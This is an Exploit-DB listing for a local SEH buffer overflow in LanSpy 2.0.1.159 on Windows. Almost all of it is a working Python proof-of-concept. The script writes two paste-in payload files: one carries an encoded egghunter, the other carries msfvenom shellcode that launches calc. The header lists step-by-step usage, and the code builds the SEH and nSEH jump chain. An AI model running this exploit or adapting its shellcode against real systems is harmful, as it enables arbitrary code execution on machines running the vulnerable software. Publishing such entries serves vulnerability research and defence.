LanSpy 2.0.1.159 - Buffer Overflow (SEH) (Egghunter)

EDB-ID:
46018

CVE:
N/A

EDB Verified: ×

Author:
BZYO

Type:
LOCAL

Exploit: / {}

Platform:
WINDOWS_X86

Date:
2018-12-20

Vulnerable App:

```
# Exploit Title: LanSpy 2.0.1.159 - Local Buffer Overflow (SEH) (Egghunter)
# Exploit Author: bzyo
# Date: 12-19-18
# Twitter: @bzyo_
# Vulnerable Software: LanSpy 2.0.1.159
# Vendor Homepage: https://lizardsystems.com
# Version: 2.0.1.159
# Software Link 1: https://www.exploit-
db.com/apps/70a780b78ee7dbbbbc99852259f75d53-lanspy_setup_2.0.1.159.exe
# Software Link 2: https://lizardsystems.com/download/lanspy_setup.exe
# Tested Windows 7 SP1 x86

# PoC
# 1. run script
# 2. copy/paste calcpayload.txt contents into scan section of app
# 3. remove previous search contents
# 4. copy/paste egghpayload.txt contents into scan section of app
# 5. wait for egg to be found
# 6. pop calc

# was working on this when i saw seh poc published
# submitting for the lulz

# original dos poc from Gionathan "John" Reale, EDB: 45968
# original seh poc from Juan Prescotto, EDB: 46009

#badchars; 0's 1's and 20; maybe more?

#!/usr/bin/python

import struct

file1="calcpayload.txt"
file2="egghpayload.txt"

#egghunter payload
junk3 = "A"*506

#125 bytes encoded egghunter 'BZYO'
#msfvenom -p generic/custom PAYLOADFILE=eggh -e x86/alpha_mixed -f python
eggh =  ""
eggh += "\x89\xe5\xdd\xc2\xd9\x75\xf4\x5a\x4a\x4a\x4a\x4a\x4a"
eggh += "\x4a\x4a\x4a\x4a\x4a\x4a\x43\x43\x43\x43\x43\x43\x37"
eggh += "\x52\x59\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41"
eggh += "\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58"
eggh += "\x50\x38\x41\x42\x75\x4a\x49\x62\x46\x6e\x61\x6b\x7a"
eggh += "\x39\x6f\x34\x4f\x71\x52\x76\x32\x63\x5a\x45\x52\x63"
eggh += "\x68\x6a\x6d\x54\x6e\x37\x4c\x54\x45\x31\x4a\x30\x74"
eggh += "\x78\x6f\x78\x38\x42\x6f\x50\x59\x43\x6a\x53\x72\x6c"
eggh += "\x4b\x68\x7a\x6e\x4f\x31\x65\x4a\x4a\x6e\x4f\x31\x65"
eggh += "\x4b\x57\x6b\x4f\x6b\x57\x41\x41"

#jump to eggh
jmp2 = "\xe9\x30\xff\xff\xff"

junk2 = "\xcc"*6

#jump to jmp2
jmp1 = "\xcc\xcc\xeb\xf1\xcc\xcc"

junk1 = "\xcc"*16

#jump to jmp1
nseh = "\xeb\xea\xcc\xcc"

#0x00458148 : pop ecx # pop ebp # ret 0x04
seh = struct.pack('<L',0x00458148)
```

```
#10 nops
nops = "\x90"*10

egghpayload = junk3 + nops + eggh + nops + jmp2 + junk2 + jmp1 + junk1 +
nseh + seh

#calc payload
calcjunk1 = "D"*26

#8 byte egg
bzyo = "OYZBOYZB"

#440 bytes for calc
#msfvenom -p windows/exec CMD="calc" -e x86/alpha_mixed -f python
calc =  ""
calc += "\x89\xe2\xdd\xc5\xd9\x72\xf4\x58\x50\x59\x49\x49\x49"
calc += "\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43"
calc += "\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41"
calc += "\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42"
calc += "\x58\x50\x38\x41\x42\x75\x4a\x49\x59\x6c\x58\x68\x6f"
calc += "\x72\x63\x30\x53\x30\x55\x50\x45\x30\x4b\x39\x79\x75"
calc += "\x54\x71\x39\x50\x33\x54\x4e\x6b\x52\x70\x66\x50\x6c"
calc += "\x4b\x73\x62\x34\x4c\x4c\x4b\x71\x42\x32\x34\x4c\x4b"
calc += "\x71\x62\x47\x58\x34\x4f\x4e\x57\x62\x6a\x46\x46\x35"
calc += "\x61\x6b\x4f\x6c\x6c\x35\x6c\x51\x71\x33\x4c\x74\x42"
calc += "\x76\x4c\x71\x30\x4f\x31\x68\x4f\x76\x6d\x77\x71\x7a"
calc += "\x67\x5a\x42\x58\x72\x56\x32\x32\x77\x4c\x4b\x43\x62"
calc += "\x52\x30\x6e\x6b\x30\x4a\x67\x4c\x4c\x4b\x50\x4c\x34"
calc += "\x51\x44\x38\x49\x73\x50\x48\x35\x51\x5a\x71\x76\x31"
calc += "\x6c\x4b\x66\x39\x37\x50\x33\x31\x78\x53\x6c\x4b\x53"
calc += "\x79\x57\x68\x69\x73\x56\x5a\x77\x39\x4e\x6b\x46\x54"
calc += "\x6c\x4b\x56\x61\x6a\x76\x30\x31\x4b\x4f\x4c\x6c\x49"
calc += "\x51\x48\x4f\x44\x4d\x47\x71\x59\x57\x65\x68\x4b\x50"
calc += "\x52\x55\x69\x66\x34\x43\x71\x6d\x4b\x48\x37\x4b\x63"
calc += "\x4d\x66\x44\x70\x75\x4b\x54\x63\x68\x4c\x4b\x70\x58"
calc += "\x31\x34\x75\x51\x4a\x73\x45\x36\x6e\x6b\x76\x6c\x42"
calc += "\x6b\x4e\x6b\x32\x78\x67\x6c\x57\x71\x59\x43\x4e\x6b"
calc += "\x47\x74\x4e\x6b\x45\x51\x68\x50\x4d\x59\x30\x44\x34"
calc += "\x64\x61\x34\x43\x6b\x31\x4b\x61\x71\x70\x59\x70\x5a"
calc += "\x70\x51\x6b\x4f\x79\x70\x61\x4f\x43\x6f\x42\x7a\x6e"
calc += "\x6b\x47\x62\x48\x6b\x4c\x4d\x31\x4d\x52\x4a\x77\x71"
calc += "\x4e\x6d\x6f\x75\x6e\x52\x53\x30\x65\x50\x57\x70\x30"
calc += "\x50\x50\x68\x50\x31\x6e\x6b\x52\x4f\x4f\x77\x39\x6f"
calc += "\x69\x45\x4f\x4b\x68\x70\x6f\x45\x39\x32\x36\x36\x52"
calc += "\x48\x4e\x46\x6c\x55\x6d\x6d\x4f\x6d\x49\x6f\x4a\x75"
calc += "\x57\x4c\x36\x66\x53\x4c\x35\x5a\x4f\x70\x49\x6b\x39"
calc += "\x70\x53\x45\x74\x45\x6f\x4b\x71\x57\x45\x43\x33\x42"
calc += "\x70\x6f\x52\x4a\x65\x50\x66\x33\x59\x6f\x7a\x75\x55"
calc += "\x33\x33\x51\x32\x4c\x65\x33\x33\x30\x41\x41"

calcjunk2 = "E"*30

calcpayload = calcjunk1 + bzyo + calc + calcjunk2

textfile = open(file1 , 'w')
textfile.write(calcpayload)
textfile.close()
textfile = open(file2 , 'w')
textfile.write(egghpayload)
textfile.close()
```

Tags: Local Buffer Overflow

Advisory/Source: Link